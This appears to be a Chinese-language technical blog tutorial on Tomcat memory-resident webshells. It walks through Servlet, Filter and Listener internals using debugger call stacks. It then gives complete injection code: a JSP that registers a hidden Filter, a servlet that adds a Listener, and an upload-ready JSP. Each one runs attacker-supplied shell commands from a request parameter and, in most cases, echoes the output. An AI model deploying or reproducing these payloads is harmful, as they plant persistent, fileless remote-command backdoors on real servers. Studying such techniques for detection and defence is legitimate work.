就我以前的理解可能觉得内存马即不落地文件嘛,但后面了解过后解释更像是在留在内存里的后门逻辑
JSP
JSP(Java Server Pages),是Java的一种动态网页技术。在早期Java的开发技术中,Java程序员如果想要向浏览器输出一些数据,就必须得手动println一行行的HTML代码。为了解决这一繁琐的问题,Java开发了JSP技术
JSP本事就可以看作是一个Java Servlet,完成了Java Web的网页开发相当于
当第一次访问JSP页面时,Tomcat服务器会将JSP页面翻译为一个java文件,然后将其编译为.class文件
JSP通过网页表单可以获取用户输入的数据并访问数据库等,动态的创建网页
语法
<% 代码 %>
可以包含任意量的java语句、变量、表达式等
JSP表达式
若表达式中为一个对象,则会自动调用其toString()方法,表达式后没有分号
<%= 表达式 %>
Filter类型
前置基础
Servlet
什么是Servlet
Java Servlet作为运行在Web服务器或应用服务器上的程序,负责管理Servlet生命周期,URL访问请求和Servlet映射/注册/卸载等,作为来自 Web 浏览器或其他 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层

客户端发起http请求时,Servlet容器会接受请求,然后根据请求信息去封装成HTTPServletRequest和HTTPServletResponse对象,具体的我们后面根据代码进行分析
Servlet = Java Web 里的“请求处理接口规范,更像是处理HTTP请求的函数模版
Servlet是一个来自Jakarta EE(过去的Java EE)的标准
必须依赖容器运行,常见的Servlet容器有:
TomcatJettyGlassfish ServerJboss/UndertowResinWeblogic Server等等
Servlet生命周期
(在web.xml中配置或默认)当服务器第一次启动或者第一次请求Servlet时,就会初始化一个Servlet对象,然后此对象回去处理所有客户端请求,在Service方法中执行,当服务器关闭时,销毁此Servlet对象,执行destroy()方法,最后由JVM进行垃圾回收
Servlet API提供动态注册机制
Servlet、Listener、Filter 由 javax.servlet.ServletContext 去加载,无论是使用 xml 配置文件还是使用 Annotation 注解配置,均由 Web 容器进行初始化,读取其中的配置属性,然后向容器中进行注册
Servlet 3.0 API 允许使 ServletContext 用动态进行注册,在 Web 容器初始化的时候(即建立ServletContext 对象的时候)进行动态注册。可以看到 ServletContext 提供了 add/create 方法来实现动态注册的功能
setx JAVA_HOME "C:\Program Files\Eclipse Adoptium\jdk-11.0.27.6-hotspot" /M
Tomcat中的Context
Context
context是上下文的意思,简单理解就是当web请求中,context会记录当时请求的情形,比如当前web容器中有几个Servlet,Filter或Listener,还有请求参数,请求路径等
ServletContext
ServletContext是Servlet规范中的规定好的接口,Servlet大多都要实现这个接口,代表web应用运行时的上下文信息,其中定义方法包括了各类信息以及对Servlet中各种资源的访问添加删除等
ApplicationContext
在Tomcat中,ServletContext规范的实现是ApplicationContext,因为门面模式的原因,实际套了一层ApplicationContextFacade
其中ApplicationContext实现了ServletContext规范定义的一些方法,例如addServlet,addFilter等
StandardContext
org.apache.catalina.core.StandardContext是子容器Context的标准实现类,其中包含了对Context子容器中资源的各种操作
而在ApplicationContext类中,对资源的各种操作实际上是调用了StandardContext中的方法

可以看到Servlet接口实现类为ApplicationContext类和ApplicationContextFacade类


Filter型内存马
对于Filter过滤器

在Tomcat中,请求会经过fliter之后才会进入到Servlet当中,如果我们能够动态创建一个fliter并将其放置最前就可以使其先被执行,若filter中放置我们的恶意代码,那么他就会执行,也就是内存马
Tomcat Fliter流程
环境搭建
pom.xml
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.example</groupId>
<artifactId>Servlet_api_Memshell</artifactId>
<version>1.0-SNAPSHOT</version>
<packaging>jar</packaging>
<name>Servlet_api_Memshell</name>
<url>http://maven.apache.org</url>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>3.8.1</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>4.0.1</version>
</dependency>
</dependencies>
</project>
配置一下web.xml,写入对应的映射标签
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>TestServlet</servlet-name>
<servlet-class>com.exp.TestServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>TestServlet</servlet-name>
<url-pattern>/test</url-pattern>
</servlet-mapping>
</web-app>

Filter生命周期
public void init(FilterConfig filterConfig) throws ServletException; //初始化
Filter的创建及其销毁也是由web服务器负责的,当web服务器启动时会创建Filter对象,读取web.xml的配置,并初始化,这一步也代表去过去当前Filter配置信息的FilterConfig对象
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException; //拦截请求
过滤操作,客户端请求访问和过滤器关系时,首先会执行doFilter方法
public void destroy(); //销毁
当web服务关闭后会被销毁
那么我们该如何写入Filter内存马呢?
首先我们需要自定义一个Filter
package com.exp;
import javax.servlet.*;
import java.io.IOException;
public class Testfilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("TestFilter init");
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
chain.doFilter(request, response);
}
@Override
public void destroy() {
System.out.println("TestFilter destroy");
}
}
构造要符合标准,然后修改我们的web.xml文件

然后我们在doFilter()处打断点,跟进发现他也是利用FilterChain去做Filter的,然后这是调用栈
at com.exp.Testfilter.doFilter(Testfilter.java:16)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:178)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:153)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:168)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:90)
at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:481)
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:130)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:93)
at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:670)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74)
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342)
at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:390)
at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:63)
at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:928)
at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1794)
at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:52)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191)
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:748)
首先对Globals.IS_SECURITY_ENABLED进行一个判断,确认全局安全服务是否开启,没有开启就会进入到ApplicationFilterChain类的internalDoFilter()方法中
我们跟进ApplicationFilterChain#internalDoFilter
private void internalDoFilter(ServletRequest request,
ServletResponse response)
throws IOException, ServletException {
// Call the next filter if there is one
if (pos < n) {
ApplicationFilterConfig filterConfig = filters[pos++];
try {
Filter filter = filterConfig.getFilter();
if (request.isAsyncSupported() && "false".equalsIgnoreCase(
filterConfig.getFilterDef().getAsyncSupported())) {
request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);
}
if( Globals.IS_SECURITY_ENABLED ) {
final ServletRequest req = request;
final ServletResponse res = response;
Principal principal =
((HttpServletRequest) req).getUserPrincipal();
Object[] args = new Object[]{req, res, this};
SecurityUtil.doAsPrivilege ("doFilter", filter, classType, args, principal);
} else {
filter.doFilter(request, response, this);
}
}
...
}
filter是通过filterConfig.getFilter()获取的,一个FilterConfig对应一个Filter用于存储上下文信息,看到这里filters中是一个ApplicationFilterConfig类型的数组

1是tomcat自带的filter,后续走下来发现是一个Filter链的循环调用,filterChain = new ApplicationFilterChain();说明了filterChain怎么来的
public static ApplicationFilterChain createFilterChain(ServletRequest request,
Wrapper wrapper, Servlet servlet) {
...
filterChain = new ApplicationFilterChain();
filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();
...
String servletName = wrapper.getName();
for (FilterMap filterMap : filterMaps) {
...
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
...
filterChain.addFilter(filterConfig);
}
...
return filterChain;
}
- 首先通过
filterChain = new ApplicationFilterChain()创建一个空的filterChain对象 - 然后通过
wrapper.getParent()函数来获取StandardContext对象 - 接着获取
StandardContext中的FilterMaps对象,FilterMaps对象中存储的是各Filter的名称路径等信息 - 最后根据Filter的名称,在
StandardContext中获取FilterConfig - 通过
filterChain.addFilter(filterConfig)将一个filterConfig添加到filterChain中
(解释出自https://goodapple.top/archives/1355)
我们可以看到

filterConfig被添加到filters中
void addFilter(ApplicationFilterConfig filterConfig) {
for(ApplicationFilterConfig filter:filters) {
if(filter==filterConfig) {
return;
}
}
if (n == filters.length) {
ApplicationFilterConfig[] newFilters =
new ApplicationFilterConfig[n + INCREMENT];
System.arraycopy(filters, 0, newFilters, 0, n);
filters = newFilters;
}
filters[n++] = filterConfig;
}
这样就能够加载我们写好的恶意Filter了
动态注册Filter
要做的就是
1.获取StandardContext对象
// 第1层:ApplicationContextFacade
ServletContext servletContext = request.getSession().getServletContext();
// 实际类型:org.apache.catalina.core.ApplicationContextFacade
// 第2层:ApplicationContext(中间层)
Field appContextField = servletContext.getClass().getDeclaredField("context");
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
// 实际类型:org.apache.catalina.core.ApplicationContext
// 第3层:StandardContext
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
// 实际类型:org.apache.catalina.core.StandardContext
2.创建恶意Filter
public class Shell_Filter implements Filter {
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd=request.getParameter("cmd");
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}
3.使用FilterDef进行封装,包含filterName,filterClass,filter对象并调用addFilterDef()方法存放到StandardContext.filterDefs中
//filter名称
String name = "CommonFilter";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
4.FilterMap类,并将路径和Filtername绑定,然后添加到FilterMap当中去
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
5.使用ApplicationFilterConfig封装filterDef,然后将其添加到filterConfigs中
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name, filterConfig);
EXP
最后完整的EXP,这里最初测试发现没有回显,于是对jsp文件稍作修改
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
try {
out.println("Step 1: Start<br/>");
ServletContext servletContext = request.getSession().getServletContext();
out.println("Step 2: Got ServletContext<br/>");
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
out.println("Step 3: Got ApplicationContext<br/>");
Field stdcx = applicationContext.getClass().getDeclaredField("context");
stdcx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdcx.get(applicationContext);
out.println("Step 4: Got StandardContext<br/>");
// 获取filterConfigs
Field filterConfigField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigField.setAccessible(true);
Map filterConfigs = (Map) filterConfigField.get(standardContext);
out.println("Step 5: Got filterConfigs<br/>");
String filterName = "FilterShell";
if (filterConfigs.get(filterName) == null) {
out.println("Step 6: Filter not exists, creating...<br/>");
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd = servletRequest.getParameter("sss");
if (cmd != null){
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmdArray = isLinux ? new String[]{"sh","-c",cmd} : new String[]{"cmd.exe","/c",cmd};
InputStream in = Runtime.getRuntime().exec(cmdArray).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
PrintWriter out2 = servletResponse.getWriter();
out2.println(output);
out2.flush();
out2.close();
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {}
};
out.println("Step 7: Filter created<br/>");
//FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
out.println("Step 8: FilterDef added<br/>");
// FilterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
out.println("Step 9: FilterMap added<br/>");
//ApplicationFilterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(filterName, filterConfig);
out.println("Step 10: FilterConfig added<br/>");
out.print("FilterMeInject Success !");
} else {
out.println("Filter already exists!");
}
} catch (Exception e) {
out.println("ERROR: " + e.getClass().getName() + " - " + e.getMessage());
e.printStackTrace(response.getWriter());
}
%>
先访问加载我们的jsp文件

随后任意路径即可命令执行

然后实际我们在实现内存马注入的时候可配合反序列化或表达式注入等手法注入,以字节码的形式去注入,然后加载我们的恶意类
Listener型
监听器用于监听Web应用中特定事件的组件,自动执行不需要手动调用
Java EE 规范定义了多种 Listener 接口:
| Listener 接口 | 触发时机 |
|---|---|
ServletRequestListener | 每次 HTTP 请求创建/销毁时 |
HttpSessionListener | Session 创建/销毁时 |
ServletContextListener | Web 应用启动/关闭时 |
demo
package com.listen;
import javax.servlet.*;
import javax.servlet.http.*;
public class Listener implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request =
(HttpServletRequest) sre.getServletRequest();
// 从请求头或参数中读取命令
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
System.out.println(">>> Listener 触发了");
// 执行系统命令
Runtime runtime = Runtime.getRuntime();
Process process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
// 将结果写回响应
HttpServletResponse response = (HttpServletResponse)
request.getServletContext().getAttribute("response");
// 输出结果...
} catch (Exception e) {
e.printStackTrace();
}
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {}
}
在web.xml中手动添加
<listener>
<listener-class>com.listen.Listener</listener-class>
</listener>
然后访问
http://localhost:8080/tomcat_fliter/?cmd=whoami

可以看到确实是触发了
调试
断点设置

跟进至 StandardContext.listenerStart() 方法,该方法负责初始化 Web 应用的监听器。
首先通过 findApplicationListeners() 获取所有已注册的监听器类名,然后通过反射逐一实例化,存入 results[] 数组。
实例化完成后,遍历 results[],根据监听器实现的接口类型将其分为两类:
- eventListeners:处理属性变化、请求等事件
- lifecycleListeners:处理Context、Session生命周期

List<Object> eventListeners = new ArrayList();
List<Object> lifecycleListeners = new ArrayList();
for(Object result : results) {
if (result instanceof ServletContextAttributeListener || result instanceof ServletRequestAttributeListener || result instanceof ServletRequestListener || result instanceof HttpSessionIdListener || result instanceof HttpSessionAttributeListener) {
eventListeners.add(result);
}
if (result instanceof ServletContextListener || result instanceof HttpSessionListener) {
lifecycleListeners.add(result);
}
}

写好的Listener被分为eventListeners,继续跟进会发现调用了getApplicationEventListeners()方法
getApplicationEventListeners() 的作用是获取当前应用中所有的事件监听器列表
最后走到fireRequestInitEvent,然后getApplicationEventListeners()会获取所有applicationEventListenersList进行初始化
public boolean fireRequestInitEvent(ServletRequest request) {
Object[] instances = this.getApplicationEventListeners();
if (instances != null && instances.length > 0) {
ServletRequestEvent event = new ServletRequestEvent(this.getServletContext(), request);
for(Object instance : instances) {
if (instance != null && instance instanceof ServletRequestListener) {
ServletRequestListener listener = (ServletRequestListener)instance;
try {
listener.requestInitialized(event);
} catch (Throwable t) {
ExceptionUtils.handleThrowable(t);
this.getLogger().error(sm.getString("standardContext.requestListener.requestInit", new Object[]{instance.getClass().getName()}), t);
request.setAttribute("javax.servlet.error.exception", t);
return false;
}
}
}
}
return true;
}
获取实例对象后,遍历对象并调用每个监听器对象的requestInitialized方法
所以Listener内存马的关键就是调用StandardContext.addApplicationEventListener()添加我们恶意的Listener
EXP
package com.listen;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.StandardContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.Scanner;
@WebServlet("/listenerpoc")
public class Listenerpoc extends HttpServlet {
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try{
ServletRequestListener listener = new ServletRequestListener() {
@Override
public void requestInitialized(ServletRequestEvent sre) {
try{
RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
requestField.setAccessible(true);
Request req = (Request) requestField.get(requestFacade);
Response response = req.getResponse();
String cmd = req.getParameter("cmd");
if (cmd != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmdArray = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; //根据操作系统选择shell
//执行命令并获取命令输出
InputStream in = Runtime.getRuntime().exec(cmdArray).getInputStream();
Scanner s = new Scanner(in).useDelimiter(""); //使用 Scanner 读取 InputStream 的内容
String output = s.hasNext() ? s.next() : ""; //如果有内容就读取,否则为空字符串
PrintWriter out = response.getWriter(); //获取 Servlet 输出流,用于返回给客户端(浏览器)
out.println(output); //打印输出
out.flush();
out.close();
}
} catch (IOException e) {
throw new RuntimeException(e);
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
}
};
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
standardContext.addApplicationEventListener(listener);
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
}
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doPost(req, resp);
}
}
另一种打文件上传
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%
class ListenerDemo implements ServletRequestListener{
@Override
public void requestDestroyed(ServletRequestEvent servletServletRequestListenerRequestEvent) {
} @Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
String cmd = servletRequestEvent.getServletRequest().getParameter("cmd");
if(cmd != null){
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {}
} } }%>
<%
// 获取StandardContext
ServletContext servletContext = request.getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
//实例化一个恶意Listener
ListenerDemo servletRequestListener = new ListenerDemo();
//添加Listener
standardContext.addApplicationEventListener(servletRequestListener);
out.println("inject success");
%>